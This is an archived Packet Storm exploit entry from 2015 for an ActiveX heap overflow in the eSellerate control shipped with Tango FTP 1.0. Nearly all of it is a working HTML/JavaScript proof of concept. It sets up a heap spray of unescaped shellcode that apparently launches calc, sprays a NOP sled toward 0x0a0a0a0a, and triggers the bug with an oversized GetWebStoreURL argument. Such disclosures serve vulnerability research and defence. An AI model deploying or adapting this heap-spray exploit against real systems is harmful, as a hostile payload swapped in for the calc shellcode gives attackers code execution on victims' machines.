Tango FTP 1.0 Active-X Heap Spray

2015-06-19T00:00:00
ID PACKETSTORM:132371
Type packetstorm
Reporter metacom
Modified 2015-06-19T00:00:00

Description

                                        
                                            `<HTML>  
<BODY>  
<input language=JavaScript onclick=Tryme() type=button value="Launch Calc">  
<object id=boom classid="clsid:{25982EAA-87CC-4747-BE09-9913CF7DD2F1}"></object>  
<br>Tango FTP Activex Heap Spray Exploit</br>  
<br>Version:1.0(Build 136)</br>  
<br>The vulnerability lies in the COM component used eSellerateControl350.dll (3.6.5.0) method of the ''GetWebStoreURL' member.</br>  
<br>Vendor Homepage:http://www.tangoftp.com/index.html</br>  
<br>Software Link:http://www.tangoftp.com/downloads/index.html</br>  
<br>Author: metacom</br>  
<!--Video Poc:http://bit.ly/1fjtq89 -->  
<SCRIPT>  
  
var heapspray=unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +  
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +  
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +  
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +  
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +  
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +  
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +  
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +  
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +  
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +  
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +  
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +  
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +  
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +  
"%u652E%u6578%u9000");  
  
var sprayContainer = unescape("%u9090%u9090");  
var heapToAddress = 0x0a0a0a0a;  
  
  
function Tryme()  
{  
var size_buff = 5000;  
var x = unescape("%0a%0a%0a%0a");  
while (x.length<size_buff) x += x;  
x = x.substring(0,size_buff);  
  
boom.GetWebStoreURL(x, 1);  
}  
  
  
function getsprayContainer(sprayContainer, sprayContainerSize)  
{  
while (sprayContainer.length*2<sprayContainerSize)  
{  
sprayContainer += sprayContainer;  
}  
sprayContainer = sprayContainer.substring(0,sprayContainerSize/2);  
return (sprayContainer);  
}  
  
var heapBlockSize = 0x500000;  
var SizeOfHeap = 0x30;  
var payLoadSize = (heapspray.length * 2);  
  
var sprayContainerSize = heapBlockSize - (payLoadSize + SizeOfHeap);  
var heapBlocks = (heapToAddress+heapBlockSize)/heapBlockSize;  
  
var memory = new Array();  
sprayContainer = getsprayContainer(sprayContainer,sprayContainerSize);  
  
for (i=0;i<heapBlocks;i++)  
{  
memory[i] = sprayContainer + heapspray;  
}  
  
</SCRIPT>  
</BODY>  
</HTML>  
`